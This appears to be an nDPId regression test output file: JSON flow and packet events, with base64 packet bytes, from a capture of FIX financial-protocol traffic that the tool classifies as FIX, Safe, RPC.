+00415{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":598146,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLP1AAEAGER7AqAAU0PVrA7IKD6DL4LVlmBB1OVAQ\/\/9i5AAAAAAAAAAA"} +00483{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":647685,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"THK5MeMlACJNe\/gxCABFAABgilkAADIGAYrQ9WsDwKgAFA+gsgqYEHU5y+C1ZVAYXjgdegAAOD1PATk9MDAxOAEzNT1QAQBYAAAAEgVVWSIPQkA4PU8BOT0wMDE2ATM1PVABAEgAAAASKwDk4cA="} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"fix.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1493755109654,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":47962,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":654913,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbr+gAAPUGNsgIERYfwKgAFA+gu1oMn5kifDan54AY\/\/9QgQAAAQEICsq+KCgaP0xfOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00488{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"fix.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1493755109654,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":47962,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00421{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":655079,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA07JVAAEAGb0LAqAAUCBEWH7taD6B8NqfnDJ+ZSYAQhgAbHwAAAQEICho\/VIrKvigo"} +00541{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":655263,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ACJNe\/gxTHK5MeMlCABFAACK7JZAAEAGbuvAqAAUCBEWH7taD6B8NqfnDJ+ZSYAYhgDh+QAAAQEICho\/VIrKvigoOD1GSVhDT01QATk9NzEBeJwNx7ENgDAMBED9QER+x684kdwisQEtDR0N+xdw3WXtx9miEbPMQugqQ48\/iuGQlxuHyXzjXMrlCdLrvt4HtKKED90WDdY="} +00518{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":665470,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"THK5MeMlACJNe\/gxCABFAAB57E0AAPUG+kQIERYfwKgAFA+gu2Bwv8hFGL2htoAY\/\/9dtAAAAQEICsq+KDPD2CMlOD1PATk9MDA1OAEzNT1QAQGYAAAAPxVYGakAuoAAAD9SAlu8AAAANAUlSCUHog0lSSkBDwAAAD4FWBgkYigrAAAAMCAO"} +00424{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":665600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQtAAEAGvszAqAAUCBEWH7tgD6AYvaG2cL\/IioAQ\/+D\/IgAAAQEICsPYI0TKvigz"} +00422{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":678545,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0vboAAPUGKR0IERYfwKgAFA+gu1oMn5lJfDaoPYAQ\/\/+gsgAAAQEICsq+KD8aP1SK"} +00567{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":744313,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"THK5MeMlACJNe\/gxCABFAACbFWEAAPUG0Q8IERYfwKgAFA+gqko3bYF4RQ1qVoAY\/\/8vNAAAAQEICsq+KIHkIvRBOD1PATk9MDA5MgEzNT1HAQKoAAAGUQxAJ2FHrhR64QAAAAEAAAaEDEBjFCkAPuohAAAAAQAADCUMQEMlHsC1Z1UAAAABAAAMBAxAbdfW\/8EV3wAAAAEAAA19DEBHgo9cKPXDAAAAAQ=="} +00459{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":766258,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"THK5MeMlACJNe\/gxCABFAABNIFoAAPUGxmQIERYfwKgAFA+gu2Bwv8iKGL2htoAY\/\/+F4wAAAQEICsq+KJfD2CNEOD1PATk9MDAxNAEzNT1QAQA4AAAFBykKog=="} +00422{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":785553,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04zFAAEAGeKbAqAAUCBEWH6pKD6BFDWpWN22B34AQ\/+CpWAAAAQEICuQi9JnKviiB"} +00452{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":941137,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"THK5MeMlACJNe\/gxCABFAABLyzQAADIGwMPQ9WsDwKgAFA+gshDsZRDXr0wvBlAYWgiDjAAAOD1PATk9MDAyNAEzNT1HAQCIAAAAWQxAldWZn+Q2dgAAAAE="} +00413{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":941287,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPkJAAEAG\/9jAqAAU0PVrA7IQD6CvTC8G7GUQ+lAQo65yDQAAAAAAAAAA"} +00567{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":994386,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"THK5MeMlACJNe\/gxCABFAACbX0YAAPUGhyoIERYfwKgAFA+gqko3bYHfRQ1qVoAY\/\/\/cJwAAAQEICsq+KXvkIvSZOD1PATk9MDA5MgEzNT1HAQKoAAAOCwxATgPXAdn00wAAAAEAAAwHDEBRTCj+JgstAAAAAQAABssMQIyfwoAn2IwAAAABAAAGwwxAXmrhP0qYqwAAAAEAABDTDEBd564hEBsAAAAAAQ=="} +00422{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":994523,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04zJAAEAGeKXAqAAUCBEWH6pKD6BFDWpWN22CRoAQ\/+CnuQAAAQEICuQi9NfKvil7"} +00456{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":141556,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABPyzUAADIGwL7Q9WsDwKgAFA+gshDsZRD6r0wvBlAYWghiwwAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00413{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":141758,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPkNAAEAG\/9fAqAAU0PVrA7IQD6CvTC8G7GURIVAQo65x5gAAAAAAAAAA"} +00529{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":141942,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB\/PkRAAEAG\/3\/AqAAU0PVrA7IQD6CvTC8G7GURIVAYo64pmAAAOD1GSVhDT01QATk9NzIBeJwNxzkOgDAMBEDtg4i8jpcckttI\/ICWho6G\/xcw3fRcx1miECPNQqhKQ40\/iuaQpxubyXzjmOrTB0jP+3of0JLa8QHdKg3Y"} +00404{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":231279,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAoyzYAADIGwOTQ9WsDwKgAFA+gshDsZREhr0wvXVAQWgi7NQAA"} +00587{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":245077,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"THK5MeMlACJNe\/gxCABFAACs6yIAAPUG+zwIERYfwKgAFA+gqko3bYJGRQ1qVoAY\/\/\/H0wAAAQEICsq+KnbkIvTXOD1PATk9MDEwOQEzNT1HAQMwAAANgQxAKWj1wo9cKQAAAAEAABRnDEBj4euA7PpqAAAAAQAABfIMQERMzLwF1SwAAAABAAAOIQxAQ3Cj3225QQAAAAEAAAwDDEBibrhgmZ3LAAAAAQAAA44MQDGMzLwF1SwAAAAB"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"fix.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1493755110320,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":38652,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":320014,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"THK5MeMlACJNe\/gxCABFAAB1U\/wAADIGN9LQ9WsDwKgAFA+glvwzTd9PWnk+l1AYb96N\/wAAOD1PATk9MDA2NgEzNT1HAQHYAAAABVkI5OEMFeFiPZCEMAATlYJyAAAABFkI5OEMFVZHfdCEMAATwIJ3AAAABlkI5OEIW+2APQJxEAQ="} +00491{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"fix.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1493755110320,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":38652,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"fix.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1493755110328,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":40918,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":328857,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABb5\/wAAPUG\/rMIERYfwKgAFA+gn9aNJ1RO\/ryrG4AY\/\/8NBQAAAQEICsq+KsnWRqh9OD1PATk9MDAyOAEzNT1HAQCoAAAAAVkI5OEMBKkS\/dCEMAAJlIEx"} +00488{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"fix.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1493755110328,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":40918,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00424{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":328967,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0b9ZAAEAG7AHAqAAUCBEWH5\/WD6D+vKsbjSdUdYAQ\/\/\/knQAAAQEICtZGrHjKvirJ"} +00414{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":362185,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAouAtAAEAGhg\/AqAAU0PVrA5b8D6BaeT6XM03fnFAQ\/GxkGwAAAAAAAAAA"} +00452{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":441940,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"THK5MeMlACJNe\/gxCABFAABLyzcAADIGwMDQ9WsDwKgAFA+gshDsZREhr0wvXVAYWghDRQAAOD1PATk9MDAyNAEzNT1HAQCIAAAAVgxAWLVwoAAAAAAAAAE="} +00415{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":482206,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPkVAAEAG\/9XAqAAU0PVrA7IQD6CvTC9d7GURRFAQo65xbAAAAAAAAAAA"} +00455{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":942619,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"THK5MeMlACJNe\/gxCABFAABLyzgAADIGwL\/Q9WsDwKgAFA+gshDsZRFEr0wvXVAYWgiCyAAAOD1PATk9MDAyNAEzNT1HAQCIAAAAWQxAldWZn+Q2dgAAAAE="} +00415{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755110,"pkt_ts_usec":942754,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPkZAAEAG\/9TAqAAU0PVrA7IQD6CvTC9d7GURZ1AQo65xSQAAAAAAAAAA"} +00507{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755111,"pkt_ts_usec":422176,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"THK5MeMlACJNe\/gxCABFAABwiaEAAPUGXPoIERYfwKgAFA+gn9aNJ1R1\/ryrG4AY\/\/+zfAAAAQEICsq+Lw\/WRqx4OD1PATk9MDA0OQEzNT1HAQFQAAAADVkI5OEMFgYg3VCIUAATiYF3AAAADFkI5OEMB9wg3RAAEAATiYAA"} +00425{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755111,"pkt_ts_usec":422362,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0b9dAAEAG7ADAqAAUCBEWH5\/WD6D+vKsbjSdUsYAQ\/\/\/e0wAAAQEICtZGrcDKvi8P"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":155,"source":"fix.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1493755111956,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":38646,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755111,"pkt_ts_usec":956116,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP7\/wAADIGm\/fQ9WsDwKgAFA+glvYLJrChYuT9OVAYYmg1SgAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00492{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":155,"source":"fix.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1493755111956,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":38646,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00414{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755111,"pkt_ts_usec":956292,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPOZAAEAGATXAqAAU0PVrA5b2D6Bi5P05CyawyFAQ\/Gz0DgAAAAAAAAAA"} +00529{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755111,"pkt_ts_usec":956474,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB9POdAAEAGAN\/AqAAU0PVrA5b2D6Bi5P05CyawyFAY\/GyQmgAAOD1GSVhDT01QATk9NzABeJwFwTEKgEAMBEDyII\/dJIu5g7SCP7C1sbPx\/4Uz1cd5jRy02UDKQg2LbFAVafJ2cIfgG+dSraCR3s\/9vUY05fYD3SIN0A=="} +00477{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755112,"pkt_ts_usec":21192,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbUHoAAPUGljYIERYfwKgAFA+gn9aNJ1Sx\/ryrG4AY\/\/8jgwAAAQEICsq+MWbWRq3AOD1PATk9MDAyOAEzNT1HAQCoAAAAClkI5OEMBKcgnRAAEAATiYAA"} +00426{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755112,"pkt_ts_usec":21357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0b9hAAEAG6\/\/AqAAUCBEWH5\/WD6D+vKsbjSdU2IAQ\/\/\/bogAAAQEICtZGrnPKvjFm"} +00405{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755112,"pkt_ts_usec":50148,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo7\/0AADIGnB3Q9WsDwKgAFA+glvYLJrDIYuT9jlAQYmiNvgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":209,"source":"fix.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1493755113353,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":39094,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":353296,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP8tQAADIGmR\/Q9WsDwKgAFA+gmLZKUJEYQJIHD1AYWpQ0OgAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00493{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":209,"source":"fix.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1493755113353,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":39094,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} 